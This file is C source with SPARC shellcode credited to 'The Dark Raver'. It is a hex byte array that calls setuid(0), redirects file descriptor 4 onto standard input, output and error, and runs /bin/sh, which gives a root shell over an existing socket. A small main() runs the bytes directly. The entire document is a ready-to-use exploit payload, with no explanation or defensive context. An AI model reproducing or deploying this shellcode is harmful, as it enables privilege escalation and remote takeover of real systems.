// The Dark Raver // setuid(0) + dup2(4,0) + dup2 (4,1) + dup2 (4,2) + execve("/bin/sh") char hell[]= /* setuid(0) */ "\x90\x22\x40\x09" // sub %o1, %o1, %o0 "\x82\x10\x20\x17" // mov 0x17, %g1 "\x91\xd0\x20\x08" // ta 8 /* dup2(4,0) */ "\xaa\x1d\x40\x15" // xor %l5, %l5, %l5 "\x90\x05\x60\x04" // add %l5, 4, %o0 "\x92\x10\x20\x09" // mov 9, %o1 "\x94\x22\x40\x09" // sub %o1, %o1, %o2 "\x82\x10\x20\x3e" // mov 0x3e, %g1 "\x91\xd0\x20\x08" // ta 8 /* dup2(4,1) */ "\xaa\x1d\x40\x15" // xor %l5, %l5, %l5 "\x90\x05\x60\x04" // add %l5, 4, %o0 "\x92\x10\x20\x09" // mov 9, %o1 "\x94\x05\x60\x01" // add %l5, 1, %o2 "\x82\x10\x20\x3e" // mov 0x3e, %g1 "\x91\xd0\x20\x08" // ta 8 /* dup2(4,2) */ "\xaa\x1d\x40\x15" // xor %l5, %l5, %l5 "\x90\x05\x60\x04" // add %l5, 4, %o0 "\x92\x10\x20\x09" // mov 9, %o1 "\x94\x05\x60\x02" // add %l5, 2, %o2 "\x82\x10\x20\x3e" // mov 0x3e, %g1 "\x91\xd0\x20\x08" // ta 8 /* execve("/bin/sh") */ "\x2d\x0b\xd8\x9a" /* sethi $0xbd89a, %l6 */ "\xac\x15\xa1\x6e" /* or %l6, 0x16e, %l6 */ "\x2f\x0b\xdc\xda" /* sethi $0xbdcda, %l7 */ "\x90\x0b\x80\x0e" /* and %sp, %sp, %o0 */ "\x92\x03\xa0\x08" /* add %sp, 8, %o1 */ "\x94\x1a\x80\x0a" /* xor %o2, %o2, %o2 */ "\x9c\x03\xa0\x10" /* add %sp, 0x10, %sp */ "\xec\x3b\xbf\xf0" /* std %l6, [%sp - 0x10] */ "\xdc\x23\xbf\xf8" /* st %sp, [%sp - 0x08] */ "\xc0\x23\xbf\xfc" /* st %g0, [%sp - 0x04] */ "\x82\x10\x20\x3b" // mov $0x3b, %g1 "\x91\xd0\x20\x08" // ta 8 ; main () { void (*sc)() = (void *)hell; sc(); }